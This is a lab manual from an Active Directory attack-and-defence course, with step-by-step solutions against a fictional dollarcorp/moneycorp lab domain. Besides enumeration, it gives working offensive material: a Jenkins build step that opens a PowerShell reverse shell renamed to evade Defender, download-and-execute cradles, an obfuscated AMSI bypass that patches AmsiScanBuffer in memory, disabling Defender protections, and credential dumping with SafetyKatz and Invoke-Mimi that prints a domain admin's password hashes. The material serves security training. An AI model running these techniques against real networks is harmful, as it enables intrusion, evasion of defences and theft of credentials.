Attacking and Defending Active Directory-Lab Manual
Attacking and Defending Active Directory-Lab Manual
You would need to turn off Tamper Protection on the student VM after getting
Have fun!
Task
Enumerate following for the dollarcorp domain:
– Users
– Computers
– Domain Administrators
– Enterprise Administrators
Solution
We can use PowerView for enumerating the domain. Please note that all the enumeration can be done
with the Microsoft's ActiveDirectory module as well.
Using PowerView
Start a PowerShell session using Invisi-Shell to avoid enhanced logging. Run the below command from a
command prompt on the student VM:
C:\Users\studentx>cd \AD\Tools
C:\AD\Tools>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
C:\AD\Tools>set COR_ENABLE_PROFILING=1
C:\AD\Tools>set COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}
C:\AD\Tools>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\AD\Tools> . C:\AD\Tools\PowerView.ps1
PS C:\AD\Tools> Get-DomainUser
To list a specific property of all the users, we can use the select-object (or its alias select) cmdlet.
For example, to list only the samaccountname run the following command:
GroupDomain : dollarcorp.moneycorp.local
GroupName : Domain Admins
GroupDistinguishedName : CN=Domain
Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
MemberDomain : dollarcorp.moneycorp.local
MemberName : Administrator
MemberDistinguishedName :
CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-719815819-3726368948-3917688648-500
Since, this is not a root domain, the above command will return nothing. We need to query the root
domain as Enterprise Admins group is present only in the root of a forest.
GroupDomain : moneycorp.local
GroupName : Enterprise Admins
GroupDistinguishedName : CN=Enterprise Admins,CN=Users,DC=moneycorp,DC=local
MemberDomain : moneycorp.local
MemberName : Administrator
MemberDistinguishedName : CN=Administrator,CN=Users,DC=moneycorp,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-335606122-960912869-3279953914-500
C:\AD\Tools>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
PS C:\AD\Tools> Import-Module C:\AD\Tools\ADModule-
master\Microsoft.ActiveDirectory.Management.dll
Enumerate all the users in the current domain using the ADModule:
DistinguishedName :
CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
Enabled : True
GivenName :
Name : Administrator
ObjectClass : user
ObjectGUID : d954e824-f549-47c2-9809-646c218cef36
SamAccountName : Administrator
SID : S-1-5-21-719815819-3726368948-3917688648-500
Surname :
UserPrincipalName :
DistinguishedName : CN=Guest,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
Enabled : False
GivenName :
Name : Guest
ObjectClass : user
ObjectGUID : caa69143-af4c-4551-af91-e9edd1059080
SamAccountName : Guest
SID : S-1-5-21-719815819-3726368948-3917688648-501
[snip]
We can list specific properties. Let's list samaccountname and description for the users. Note
that we are listing all the proeprties first using the -Properties parameter:
PS C:\AD\Tools> Get-ADUser -Filter * -Properties *| select
Samaccountname,Description
Samaccountname Description
DistinguishedName : CN=DCORP-DC,OU=Domain
Controllers,DC=dollarcorp,DC=moneycorp,DC=local
DNSHostName : dcorp-dc.dollarcorp.moneycorp.local
Enabled : True
Name : DCORP-DC
ObjectClass : computer
ObjectGUID : d698b7ab-f29e-461b-9bc9-24a4a131c92d
SamAccountName : DCORP-DC$
SID : S-1-5-21-719815819-3726368948-3917688648-1000
UserPrincipalName :
DistinguishedName : CN=DCORP-
ADMINSRV,OU=Applocked,DC=dollarcorp,DC=moneycorp,DC=local
DNSHostName : dcorp-adminsrv.dollarcorp.moneycorp.local
Enabled : True
Name : DCORP-ADMINSRV
ObjectClass : computer
ObjectGUID : 2e036483-7f45-4416-8a62-893618556370
SamAccountName : DCORP-ADMINSRV$
SID : S-1-5-21-719815819-3726368948-3917688648-1105
[snip]
distinguishedName :
CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
name : Administrator
objectClass : user
objectGUID : d954e824-f549-47c2-9809-646c218cef36
SamAccountName : Administrator
SID : S-1-5-21-719815819-3726368948-3917688648-500
distinguishedName : CN=Administrator,CN=Users,DC=moneycorp,DC=local
name : Administrator
objectClass : user
objectGUID : bff03156-2c42-4e55-a21c-07eb868cd5f8
SamAccountName : Administrator
SID : S-1-5-21-335606122-960912869-3279953914-500
Task
Enumerate following for the dollarcorp domain:
– List all the OUs
– List all the computers in the StudentMachines OU.
– List the GPOs
– Enumerate GPO applied on the StudentMachines OU.
Solution
We can continue using PowerView for enumeration. To list all the OUs, run the below command after
bypassing AMSI and loading PowerView:
PS C:\AD\Tools> Get-DomainOU
name
For the next task, use the below command to list the GPOs. Note the name (not displayname) of group
policies may be different in your lab instance:
PS C:\AD\Tools> Get-DomainGPO
flags : 0
systemflags : -1946157056
displayname : Default Domain Policy
[snip]
flags : 0
displayname : Students
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F72-
3407-48AE-BA88-E8213C6761F1}][{827D319E-6EAC-11D2-A4EA-
00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
whenchanged : 11/15/2022 5:48:32 AM
versionnumber : 6
name : {7478F170-6A0C-490C-B355-9E4618BC785D}
cn : {7478F170-6A0C-490C-B355-9E4618BC785D}
usnchanged : 45959
dscorepropagationdata : 1/1/1601 12:00:00 AM
objectguid : 0076f619-ffef-4488-bfdb-1fc028c5cb14
gpcfilesyspath :
\\dollarcorp.moneycorp.local\SysVol\dollarcorp.moneycorp.local\Policies\{7478
F170-6A0C-490C-B355-9E4618BC785D}
distinguishedname : CN={7478F170-6A0C-490C-B355-
9E4618BC785D},CN=Policies,CN=System,DC=dollarcorp,DC=moneycorp,DC=local
[snip]
For the next task, to enumerate GPO applied on the StudentMachines OU, we need to copy a part of the
gplink attribute from the output of the below command:
Now, copy the highlighted string from above (no square brackets, no semicolon and nothing after
semicolon) and use the it below:
flags : 0
displayname : Students
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F72-
3407-48AE-BA88-E8213C6761F1}][{827D319E-6EAC-11D2-A4EA-
00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
whenchanged : 11/15/2022 5:48:32 AM
versionnumber : 6
name : {7478F170-6A0C-490C-B355-9E4618BC785D}
cn : {7478F170-6A0C-490C-B355-9E4618BC785D}
usnchanged : 45959
dscorepropagationdata : 1/1/1601 12:00:00 AM
objectguid : 0076f619-ffef-4488-bfdb-1fc028c5cb14
gpcfilesyspath :
\\dollarcorp.moneycorp.local\SysVol\dollarcorp.moneycorp.local\Policies\{7478
F170-6A0C-490C-B355-9E4618BC785D}
distinguishedname : CN={7478F170-6A0C-490C-B355-
9E4618BC785D},CN=Policies,CN=System,DC=dollarcorp,DC=moneycorp,DC=local
whencreated : 11/15/2022 5:46:19 AM
showinadvancedviewonly : True
usncreated : 45927
gpcfunctionalityversion : 2
instancetype : 4
objectclass : {top, container, groupPolicyContainer}
objectcategory : CN=Group-Policy-
Container,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
It is possible to hack both the commands together in a single command (profiting from the static length
for GUIDs):
flags : 0
displayname : Students
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F72-
3407-48AE-BA88-E8213C6761F1}][{827D319E-6EAC-11D2-A4EA-
00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
whenchanged : 11/15/2022 5:48:32 AM
[snip]
Task
Enumerate following for the dollarcorp domain:
– ACL for the Domain Admins group
– All modify rights/permissions for the studentx
Solution
To enumerate ACLs, we can use Get-DomainObjectACL from PowerView like below. Remember to
keep using the PowerShell session started using Invisi-Shell :
AceQualifier : AccessAllowed
ObjectDN : CN=Domain
Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
ActiveDirectoryRights : ReadProperty
ObjectAceType : User-Account-Restrictions
ObjectSID : S-1-5-21-719815819-3726368948-3917688648-512
InheritanceFlags : None
BinaryLength : 60
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent, InheritedObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-32-554
AccessMask : 16
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : inetOrgPerson
OpaqueLength : 0
[snip]
Since studentx is a member of the RDPUsers group, let us check permissions for it too. Note that the
output in your lab for the below command will be different and will depend on your lab instance:
ObjectDN :
CN=ControlxUser,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
AceQualifier : AccessAllowed
ActiveDirectoryRights : GenericAll
ObjectAceType : None
AceFlags : None
AceType : AccessAllowed
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-719815819-3726368948-3917688648-1123
IdentityReferenceName : RDPUsers
IdentityReferenceDomain : dollarcorp.moneycorp.local
IdentityReferenceDN : CN=RDP
Users,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
IdentityReferenceClass : group
[snip]
Task
Enumerate all domains in the moneycorp.local forest.
Map the trusts of the dollarcorp.moneycorp.local domain.
Map External trusts in moneycorp.local forest.
Identify external trusts of dollarcorp domain. Can you enumerate trusts for a trusting forest?
Solution
We can use both PowerView and the Active Directory module to solve the tasks.
Using PowerView
Let’s enumerate all domains in the current forest:
[snip]
Forest : moneycorp.local
DomainControllers : {dcorp-dc.dollarcorp.moneycorp.local}
Children : {us.dollarcorp.moneycorp.local}
DomainMode : Unknown
DomainModeLevel : 7
Parent : moneycorp.local
PdcRoleOwner : dcorp-dc.dollarcorp.moneycorp.local
RidRoleOwner : dcorp-dc.dollarcorp.moneycorp.local
InfrastructureRoleOwner : dcorp-dc.dollarcorp.moneycorp.local
Name : dollarcorp.moneycorp.local
Forest : moneycorp.local
DomainControllers : {mcorp-dc.moneycorp.local}
Children : {dollarcorp.moneycorp.local}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : mcorp-dc.moneycorp.local
RidRoleOwner : mcorp-dc.moneycorp.local
InfrastructureRoleOwner : mcorp-dc.moneycorp.local
Name : moneycorp.local
Forest : moneycorp.local
DomainControllers : {us-dc.us.dollarcorp.moneycorp.local}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent : dollarcorp.moneycorp.local
PdcRoleOwner : us-dc.us.dollarcorp.moneycorp.local
RidRoleOwner : us-dc.us.dollarcorp.moneycorp.local
PS C:\AD\Tools> Get-DomainTrust
SourceName : dollarcorp.moneycorp.local
TargetName : moneycorp.local
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection : Bidirectional
WhenCreated : 11/12/2022 5:59:01 AM
WhenChanged : 2/24/2023 9:11:33 AM
SourceName : dollarcorp.moneycorp.local
TargetName : us.dollarcorp.moneycorp.local
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection : Bidirectional
WhenCreated : 11/12/2022 6:22:51 AM
WhenChanged : 2/24/2023 9:09:58 AM
SourceName : dollarcorp.moneycorp.local
TargetName : eurocorp.local
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FILTER_SIDS
TrustDirection : Bidirectional
WhenCreated : 11/12/2022 8:15:23 AM
WhenChanged : 2/24/2023 9:10:52 AM
SourceName : dollarcorp.moneycorp.local
TargetName : eurocorp.local
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FILTER_SIDS
TrustDirection : Bidirectional
WhenCreated : 11/12/2022 8:15:23 AM
WhenChanged : 2/24/2023 9:10:52 AM
SourceName : dollarcorp.moneycorp.local
TargetName : eurocorp.local
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FILTER_SIDS
TrustDirection : Bidirectional
WhenCreated : 11/12/2022 8:15:23 AM
WhenChanged : 2/24/2023 9:10:52 AM
Since the above is a Bi-Directional trust, we can extract information from the eurocorp.local forest. We
either need bi-directional trust or one-way trust from eurocorp.local to dollarcorp to be able to use the
below command. Let's go for the last task and enumerate trusts for eurocorp.local forest:
SourceName : eurocorp.local
TargetName : eu.eurocorp.local
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection : Bidirectional
WhenCreated : 11/12/2022 5:49:08 AM
WhenChanged : 3/3/2023 10:15:16 AM
SourceName : eurocorp.local
TargetName : dollarcorp.moneycorp.local
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FILTER_SIDS
TrustDirection : Bidirectional
WhenCreated : 11/12/2022 8:15:23 AM
WhenChanged : 2/24/2023 9:10:52 AM
Exception calling "FindAll" with "0" argument(s): "A referral was returned
from the server.
[snip]
Notice the error above. It occurred because PowerView attempted to list trusts even for
eu.eurocorp.local. Because external trust is non-transitive it was not possible!
PS C:\AD\Tools> C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
PS C:\AD\Tools> Import-Module C:\AD\Tools\ADModule-
master\Microsoft.ActiveDirectory.Management.dll
PS C:\AD\Tools> Import-Module C:\AD\Tools\ADModule-
master\ActiveDirectory\ActiveDirectory.psd1
Use the below command to enumerate all the domains in the current forest:
PS C:\AD\Tools> (Get-ADForest).Domains
dollarcorp.moneycorp.local
moneycorp.local
us.dollarcorp.moneycorp.local
To map all the trusts in the current domain, we can use the below command:
Direction : BiDirectional
DisallowTransivity : False
DistinguishedName :
CN=moneycorp.local,CN=System,DC=dollarcorp,DC=moneycorp,DC=local
ForestTransitive : False
IntraForest : True
IsTreeParent : False
IsTreeRoot : False
Name : moneycorp.local
ObjectClass : trustedDomain
ObjectGUID : 01c3b68d-520b-44d8-8e7f-4c10927c2b98
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source : DC=dollarcorp,DC=moneycorp,DC=local
Target : moneycorp.local
TGTDelegation : False
TrustAttributes : 32
TrustedPolicy :
TrustingPolicy :
TrustType : Uplevel
UplevelOnly : False
UsesAESKeys : False
UsesRC4Encryption : False
[snip]
Direction : BiDirectional
DisallowTransivity : False
DistinguishedName :
CN=moneycorp.local,CN=System,DC=dollarcorp,DC=moneycorp,DC=local
ForestTransitive : False
IntraForest : True
IsTreeParent : False
IsTreeRoot : False
Name : moneycorp.local
ObjectClass : trustedDomain
ObjectGUID : 01c3b68d-520b-44d8-8e7f-4c10927c2b98
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source : DC=dollarcorp,DC=moneycorp,DC=local
Target : moneycorp.local
TGTDelegation : False
TrustAttributes : 32
TrustedPolicy :
TrustingPolicy :
TrustType : Uplevel
UplevelOnly : False
UsesAESKeys : False
UsesRC4Encryption : False
[snip]
Direction : BiDirectional
DisallowTransivity : False
DistinguishedName :
CN=eurocorp.local,CN=System,DC=dollarcorp,DC=moneycorp,DC=local
ForestTransitive : False
IntraForest : False
IsTreeParent : False
IsTreeRoot : False
Name : eurocorp.local
ObjectClass : trustedDomain
ObjectGUID : d4d64a77-63be-4d77-93c2-6524e73d306d
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : True
Finally, to identify external trusts of the dollarcorp domain, we can use the below command. The output
is same as above because there is just one external trust in the entire forest. Otherwise, output of the
aboce command would be different than the below one:
Direction : BiDirectional
DisallowTransivity : False
DistinguishedName :
CN=eurocorp.local,CN=System,DC=dollarcorp,DC=moneycorp,DC=local
ForestTransitive : False
IntraForest : False
IsTreeParent : False
IsTreeRoot : False
Name : eurocorp.local
ObjectClass : trustedDomain
ObjectGUID : d4d64a77-63be-4d77-93c2-6524e73d306d
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : True
Source : DC=dollarcorp,DC=moneycorp,DC=local
Target : eurocorp.local
TGTDelegation : False
TrustAttributes : 4
TrustedPolicy :
TrustingPolicy :
TrustType : Uplevel
UplevelOnly : False
UsesAESKeys : False
UsesRC4Encryption : False
Direction : BiDirectional
DisallowTransivity : False
DistinguishedName : CN=eu.eurocorp.local,CN=System,DC=eurocorp,DC=local
ForestTransitive : False
IntraForest : True
IsTreeParent : False
IsTreeRoot : False
Name : eu.eurocorp.local
ObjectClass : trustedDomain
ObjectGUID : bfc7a899-cc5d-4303-8176-3b8381189fae
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source : DC=eurocorp,DC=local
Target : eu.eurocorp.local
TGTDelegation : False
TrustAttributes : 32
TrustedPolicy :
TrustingPolicy :
TrustType : Uplevel
UplevelOnly : False
UsesAESKeys : False
UsesRC4Encryption : False
[snip]
Task
Exploit a service on dcorp-studentx and elevate privileges to local administrator.
Identify a machine in the domain where studentx has local administrative access.
Using privileges of a user on Jenkins on 172.16.3.11:8080, get admin privileges on 172.16.3.11 -
the dcorp-ci server.
Solution
We can use the Powerup from PowerSploit module to check for any privilege escalation path. Feel free
to use other tools mentioned in the class like WinPEAS.
C:\AD\Tools>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
PS C:\AD\Tools> . C:\AD\Tools\PowerUp.ps1
PS C:\AD\Tools> Invoke-AllChecks
ServiceName : AbyssWebServer
Path : C:\WebServer\Abyss Web Server\abyssws.exe -service
ModifiablePath : @{ModifiablePath=C:\WebServer;
IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AbyssWebServer' -Path
<HijackPath>
CanRestart : True
ServiceName : AbyssWebServer
Path : C:\WebServer\Abyss Web Server\abyssws.exe -service
ModifiablePath : @{ModifiablePath=C:\WebServer;
IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AbyssWebServer' -Path
<HijackPath>
CanRestart : True
[snip]
[*] Checking service executable and argument permissions...
ServiceName : AbyssWebServer
Path : C:\WebServer\Abyss Web Server\abyssws.exe -
service
[snip]
ServiceName : AbyssWebServer
Path : C:\WebServer\Abyss Web Server\abyssws.exe -service
StartName : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'AbyssWebServer'
CanRestart : True
ServiceName : SNMPTRAP
Path : C:\Windows\System32\snmptrap.exe
StartName : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'SNMPTRAP'
CanRestart : True
Let’s use the abuse function for Invoke-ServiceAbuse and add our current domain user to the
local Administrators group.
Now for the next task, to identify a machine in the domain where studentx has local administrative
access use Find-PSRemotingLocalAdminAccess.ps1:
C:\AD\Tools>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
PS C:\AD\Tools> . C:\AD\Tools\Find-PSRemotingLocalAdminAccess.ps1
PS C:\AD\Tools> Find-PSRemotingLocalAdminAccess
dcorp-adminsrv
[snip]
So, studentx has administrative access on dcorp-adminsrv and on the student machine. We can connect
to dcorp-adminsrv using winrs as the student user:
C:\Users\studentx>set computername
computername
COMPUTERNAME=dcorp-adminsrv
PS C:\AD\Tools> [dcorp-
adminsrv.dollarcorp.moneycorp.local]C:\Users\studentx\Documents>$env:username
dcorp\studentx
To be able to execute commands on Jenkins server without admin access we must have privileges to
Configure builds. We have a misocnfigured Jenkins instance on dcorp-ci (http://172.16.3.11:8080). If we
go to the “People” page of Jenkins we can see the users present on the Jenkins instance. Remember to
use Edge to open the Jenkins web console!
Since Jenkins does not have a password policy many users use username as passwords even on the
publicly available instances. By manually trying the usernames as passwords we can identify that the
user builduser has password builduser. The user builduser can Configure builds and Add Build Steps
which will help us in executing commands.
Use the encodedcomand parameter of PowerShell to use an encoded reverse shell or use download
execute cradle in Jenkins build step. You can use any reverse shell, below we are using a slightly
modified version of Invoke-PowerShellTcp from Nishang. We renamed the function Invoke-
PowerShellTcp to Power in the script to bypass Windows Defender.
If using Invoke-PowerShellTcp, make sure to include the function call in the script Power -Reverse -
IPAddress 172.16.100.X -Port 443 or append it at the end of the command in Jenkins. Please
note that you may always like to rename the function name to something else to avoid detection.
or
Remember to host the reverse shell on a local web server on your student VM. You can find hfs.exe in
the C:\AD\Tools directory of your student VM. Also, make sure to add an exception or turn off the
firewall on the student VM.
On the student VM, run a netcat or powercat listener which listens on the port which we used above
(443):
On Jenkins web console, launch the Build by clicking on ‘Build Now’ and on the listener, you will see:
PS C:\Users\Administrator\.jenkins\workspace\Projectx>
PS C:\Users\Administrator\.jenkins\workspace\Projectx>$env:username
ciadmin
PS C:\Users\Administrator\.jenkins\workspace\Projectx> ipconfig
Windows IP Configuration
PS C:\Users\Administrator\.jenkins\workspace\Projectx> $env:computername
dcorp-ci
Task
Setup BloodHound and identify shortest path to Domain Admins in the dollarcorp domain.
Solution
Note: Exit BloodHound once you have stopped using it as it uses good amount of RAM. You may also
like to stop the neo4j service if you are not using BloodHound.
C:\AD\Tools\neo4j-community-4.4.5-windows\neo4j-community-
4.4.5\bin>neo4j.bat install-service
Neo4j service installed
C:\AD\Tools\neo4j-community-4.4.5-windows\neo4j-community-
4.4.5\bin>neo4j.bat start
Enter the username: neo4j and password: neo4j. You need to enter a new password. Let's use
BloodHound as the new password.
bolt://localhost:7687
Username: neo4j
Password: BloodHound
$ZQCUW = @"
using System;
using System.Runtime.InteropServices;
public class ZQCUW {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string
procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr
dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $ZQCUW
$BBWHVWQ =
[ZQCUW]::LoadLibrary("$([SYstem.Net.wEBUtIlITy]::HTmldecoDE('ams
;i.dll'))")
$XPYMWR = [ZQCUW]::GetProcAddress($BBWHVWQ,
"$([systeM.neT.webUtility]::HtMldECoDE('AmsiSca
;nBuffer'))")
$p = 0
[ZQCUW]::VirtualProtect($XPYMWR, [uint32]5, 0x40, [ref]$p)
$TLML = "0xB8"
$PURX = "0x57"
$YNWL = "0x00"
$RTGX = "0x07"
$XVON = "0x80"
$WRUD = "0xC3"
$KTMJX = [Byte[]] ($TLML,$PURX,$YNWL,$RTGX,+$XVON,+$WRUD)
[System.Runtime.InteropServices.Marshal]::Copy($KTMJX, 0, $XPYMWR, 6)
PS C:\AD\Tools\BloodHound-master\BloodHound-master\Collectors> .
.\SharpHound.ps1
PS C:\AD\Tools\BloodHound-master\BloodHound-master\Collectors> Invoke-
BloodHound -CollectionMethod All -Verbose
2023-03-03T07:01:16.5006490-08:00|INFORMATION|This version of SharpHound is
compatible with the 4.2 Release of BloodHound
[snip]
Once all the data is uploaded to BloodHound, search for shortest path to Domain Admins in dollarcorp
domain. (press Ctrl to toggle labels).
Username: [email protected]
Password: ARe@dOnlyUsertol00kAtSecurityDashboard!
This would bring you to the BloodHound CE login page. Provide the same set of credentials as above to
the BloodHound login page and you will be able to access the UI.
This instance of BloodHound CE already has the database populated. Feel free to play with the data!
In the Web UI, click on Cypher -> Click on the Folder Icon -> Pre-Built Searches -> Active Directory ->
(Scroll down) -> Shortest paths to Domain Admins
Make sure to use the collector from BloodHound-4.0.3_old with UI in BloodHound-4.0.3_old. These are
not compatible with BloodHound 4.2.0. Run the below command in a new PowerShell session after
bypassing .NET AMSI.
PS C:\AD\Tools\BloodHound-4.0.3_old\BloodHound-master\Collectors> Invoke-
BloodHound -CollectionMethod All
Open the UI of BloodHound 4.0.3. The username and password remain the same as both versions are
using the same neo4j service. Remember to click on ‘Clear Database’ option in the BloodHound 4.0.3
and upload new data from its own collector.
Search for studentx in the search bar and click on the identity.
Task
Identify a machine in the target domain where a Domain Admin session is available.
Compromise the machine and escalate privileges to Domain Admin
– Using access to dcorp-ci
– Using derivative local admin
Solution
We have access to two domain users - studentx and ciadmin and administrative access to dcorp-
adminsrv machine. User hunting has not been fruitful as studentx. We got a reverse shell on dcorp-ci as
ciadmin by abusing Jenkins.
We can use Powerview’s Find-DomainUserLocation on the reverse shell to looks for machines where a
domain admin is logged in. First, we must bypass AMSI and enhanced logging.
First bypass Enhanced Script Block Logging so that the AMSI bypass is not logged. We could also use
these bypasses in the initial download-execute cradle that we used in Jenkins.
The below command bypasses Enhanced Script Block Logging. Unfortuantely, we have no in-memory
bypass for PowerShell transcripts. Note that we could also paste the contents of sbloggingbypass.txt in
place of the download-exec cradle. Remember to host the sbloggingbypass.txt on a web server on the
student VM if you use the download-exec cradle :
Now, download and execute PowerView in memory of the reverse shell and run Find-
DomainUserLocation. Note that, Find-DomainUserLocation may take many minutes to check all the
machines in the domain:
UserDomain : dcorp
UserName : svcadmin
ComputerName : dcorp-mgmt.dollarcorp.moneycorp.local
IPAddress : 172.16.4.44
SessionFrom :
SessionFromName :
LocalAdmin :
[snip]
Great! There is a domain admin session on dcorp-mgmt server!
dcorp\ciadmin
dcorp-mgmt
We would now run SafetyKatz.exe on dcorp-mgmt to extract credentials from it. For that, we need to
copy Loader.exe on dcorp-mgmt. Let's download Loader.exe on dcorp-ci and copy it from there to
dcorp-mgmt. This is to avoid any downloading activity on dcorp-mgmt.
PS C:\Users\Administrator\.jenkins\workspace\Projectx>iwr
http://172.16.100.x/Loader.exe -OutFile C:\Users\Public\Loader.exe
Using winrs, add the following port forwarding on dcorp-mgmt to avoid detection on dcorp-mgmt:
Please note that we have to use the $null variable to address output redirection issues.
[snip]
*
Username : svcadmin
*
Domain : DOLLARCORP.MONEYCORP.LOCAL
*
Password : (null)
*
Key List :
aes256_hmac
6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011
rc4_hmac_nt b38ff50264b74508085d82c69794a4d8
rc4_hmac_old b38ff50264b74508085d82c69794a4d8
rc4_md4 b38ff50264b74508085d82c69794a4d8
rc4_hmac_nt_exp b38ff50264b74508085d82c69794a4d8
rc4_hmac_old_exp b38ff50264b74508085d82c69794a4d8
Sweet! We got credentials of svcadmin - a domain administrator. Note that svcadmin is used as a service
account (see "Session" in the above output), so you can even get credentials in clear-text from
lsasecrets!
PS C:\Users\Administrator\.jenkins\workspace\Projectx> Invoke-Command -
ScriptBlock {$env:username;$env:computername} -ComputerName dcorp-mgmt
ciadmin
dcorp-mgmt
Now, to use Invoke-Mimi on dcorp-mgmt, we must disable AMSI there. Please note that we can use the
AMSI bypass we have been using or the built-in Set-MpPrefernce as well because we have
administrative access on dcorp-mgmt:
PS C:\Users\Administrator\.jenkins\workspace\Projectx> $sess = New-PSSession
-ComputerName dcorp-mgmt.dollarcorp.moneycorp.local
PS C:\Users\Administrator\.jenkins\workspace\Projectx> Invoke-command -
ScriptBlock{Set-MpPreference -DisableIOAVProtection $true} -Session $sess
PS C:\Users\Administrator\.jenkins\workspace\Projectx> Invoke-command -
ScriptBlock ${function:Invoke-Mimi} -Session $sess
[snip]
*
Username : svcadmin
*
Domain : DOLLARCORP.MONEYCORP.LOCAL
*
Password : (null)
*
Key List :
aes256_hmac
6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011
rc4_hmac_nt b38ff50264b74508085d82c69794a4d8
rc4_hmac_old b38ff50264b74508085d82c69794a4d8
rc4_md4 b38ff50264b74508085d82c69794a4d8
rc4_hmac_nt_exp b38ff50264b74508085d82c69794a4d8
rc4_hmac_old_exp b38ff50264b74508085d82c69794a4d8
[snip]
Run the below command from an elevated shell from the student VM. Note that we can use whatever
tool we want (Invoke-Mimi, SafetyKatz, Rubeus etc.)
_
( \ | |
) )_ _| | _ _
| /| | | | _ \| | | | |/ )
| | \ \| |_| | |_) ) | |_| | |
|_| |_| /| /| ) /( /
v2.2.1
doI…
[snip]
[+] Ticket successfully imported!
ServiceName : krbtgt/dollarcorp.moneycorp.local
ServiceRealm : DOLLARCORP.MONEYCORP.LOCAL
UserName : svcadmin
[snip]
PS C:\AD\Tools> . C:\AD\Tools\Find-PSRemotingLocalAdminAccess.ps1
PS C:\AD\Tools> Find-PSRemotingLocalAdminAccess
dcorp-adminsrv
[snip]
We have local admin on the dcorp-adminsrv. You will notice that any attempt to run Loader.exe (to run
SafetKatz from memory) results in error 'This program is blocked by group policy. For more information,
contact your system administrator'. Any attempts to run Invoke-Mimi on dcorp-adminsrv results in
errors about language mode. This could be because of an application allolist on dcorp-adminsrv and we
drop into a Constrained Language Mode (CLM) when using PSRemoting.
Let's check if Applocker is configured on dcorp-adminsrv by querying registry keys. Note that we are
assuming that reg.exe is allowed to execute:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SRPV2\Appx
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SRPV2\Dll
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SRPV2\Exe
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SRPV2\Msi
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SRPV2\Script
Looks like Applocker is configured. After going through the policies, we can understand that Microsoft
Signed binaries and scripts are allowed for all the users but nothing else. However, this particular rule is
overly permissive!
C:\Users\studentx>reg query
HKLM\Software\Policies\Microsoft\Windows\SRPV2\Script\06dce67b-934c-454f-
a263-2515c8796a5d
reg query HKLM\Software\Policies\Microsoft\Windows\SRPV2\Script\06dce67b-
934c-454f-a263-2515c8796a5d
A default rule is enabled that allows everyone to run scripts from the C:\ProgramFiles folder!
We can also confirm this using PowerShell commands on dcrop-adminsrv. Run the below commands
from a PowerShell session as studentx:
[dcorp-adminsrv]: PS C:\Users\studentx\Documents>
$ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
[snip]
PathConditions : {%PROGRAMFILES%\*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 06dce67b-934c-454f-a263-2515c8796a5d
